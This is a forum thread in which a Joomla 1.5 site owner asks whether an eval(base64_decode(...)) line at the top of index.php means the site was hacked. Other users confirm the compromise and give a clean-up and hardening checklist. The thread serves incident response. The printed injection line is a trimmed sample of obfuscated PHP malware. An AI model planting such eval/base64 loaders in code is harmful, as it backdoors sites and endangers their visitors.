Was my Joomla install hacked? Here's the index.php header ..

Discussion regarding Joomla! 1.5 security issues.
Joomla! Vulnerable Extensions: http://feeds.joomla.org/JoomlaSecurityV ... Extensions

Moderator: General Support Moderators

Forum rules
Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.
Locked
ashleyquick
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Thu Jun 06, 2013 6:08 pm

Was my Joomla install hacked? Here's the index.php header ..

Post by ashleyquick » Thu Jun 06, 2013 6:11 pm

The following is at the top of index.php

What should I do?

Code: Select all

<?php eval(base64_decode("DQplcnJvcl9yZXBVJFUXJsLmNvbS9ic2xxNHQ4Iik7DQoJCWV4aXQoKTsNCgl9DQp9DQp9"));
/**
* @version		$Id: index.php 14401 2010-01-26 14:10:00Z louis $
* @package		Joomla
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
Last edited by mandville on Fri Jun 07, 2013 8:08 am, edited 4 times in total.
Reason: Moved the topic from the forum General Questions/New to Joomla! 2.5 to the forum Security in Joomla! 1.5. In the future, please post your questions in the appropriate forums. Trimmed base64 code

ir_systems
Joomla! Fledgling
Joomla! Fledgling
Posts: 2
Joined: Thu Jun 06, 2013 7:35 pm

Re: Was my Joomla install hacked? Here's the index.php heade

Post by ir_systems » Thu Jun 06, 2013 7:52 pm

Is your Joomla version 1.5.xx? I have seen this a LOT lately on 1.5.26 sites. Yes, your site has definitely been hit by a hack bot. If it is Joomla 1.5, I highly recommend upgrading to a supported version of Joomla ASAP. I guarantee this is not the only file that has been altered.

ashleyquick
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Thu Jun 06, 2013 6:08 pm

Re: Was my Joomla install hacked? Here's the index.php heade

Post by ashleyquick » Thu Jun 06, 2013 8:01 pm

Yeah it's 1.5xx

Where would I start to begin upgrading this old version?

ir_systems
Joomla! Fledgling
Joomla! Fledgling
Posts: 2
Joined: Thu Jun 06, 2013 7:35 pm

Re: Was my Joomla install hacked? Here's the index.php heade

Post by ir_systems » Thu Jun 06, 2013 8:15 pm

Check out http://docs.joomla.org/J2.5:Migrating_f ... Joomla_2.5 this article and http://extensions.joomla.org/extensions ... tion/11658 extension. I expect it's a tough process and have not done it myself.
Last edited by mandville on Fri Jun 07, 2013 8:10 am, edited 1 time in total.
Reason: reformatted to meet internal forum linking rules.

User avatar
mandville
Joomla! Master
Joomla! Master
Posts: 15152
Joined: Mon Mar 20, 2006 1:56 am
Location: The Girly Side of Joomla in Sussex

Re: Was my Joomla install hacked? Here's the index.php heade

Post by mandville » Thu Jun 06, 2013 10:24 pm

[ ] Download and RUN the Forum Post Assistant / FPA Instructions available here and are also included in the download package. Post the generated results in your security/been hacked topic. Use these links to download the FPA:
Download .tar.gz version or Download the .zip version NOTE: Do not download the FPA from any other website or links found on the Internet.

[ ] Ensure you have the latest version of Joomla for your version of Joomla. Delete all files in your Joomla installation, saving a copy of the configuration.php file.

[ ] Review Vulnerable Extensions List to make sure any 3rd party extensions versions used appear on the vulnerable list.

[ ] Review and action Security Checklist 7 Make sure you've gone through all of the steps.

[ ] Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc. Checklist 7 contains a list or recommended scanners.

[ ] Change all passwords and if possible user names for the website host control panel. Change the Joomla database user name and password.

[ ] Use proper permissions on files and directories. They should never be 777, ideal is 644 for files and 755 for directories. The configuration file can be set to 444 which is read only.

[ ] Check your htaccess for for any odd code (i.e. code which is not in the standard htaccess supplied as part of the Joomla installation).

[ ] Check the crontab or Task Scheduler for unexpected jobs/tasks.

[ ] Ensure you do not have anonymous ftp enabled.

[ ] Verify individually that any non-Joomla file such as but not limited to that will be placed back on the website such as images, pdf files, files for download, and other documents and files are valid and are supposed to be part of your website.

[ ] Replace the deleted files with fresh copies of a current full version of Joomla (minus the installation directory) you downloaded earlier. Install freshly downloaded copies of any extensions and templates used on the site. If the Joomla database user name and password were changed earlier, then make the necessary changes to the configuration.php file and upload a copy to the website. Upload any non-Joomla files that are necessary for your website. Only by replacing all files in the installation (including extensions and templates) can you be sure to remove the backdoors inserted and hidden in various files and directories More detailed information can be found in the Security Checklist 7 document.
HU2HY- Poor questions = Poor answer
Un requested Help PM's will be reported, added to the foe list and possibly just deleted
{VEL Team Leader}{TM Auditor }{ Showcase & Security forums Moderator}

ashleyquick
Joomla! Fledgling
Joomla! Fledgling
Posts: 3
Joined: Thu Jun 06, 2013 6:08 pm

Re: Was my Joomla install hacked? Here's the index.php heade

Post by ashleyquick » Thu Jun 06, 2013 10:44 pm

Thanks all! I'll post back if I have difficulties.


Locked

Return to “Security in Joomla! 1.5”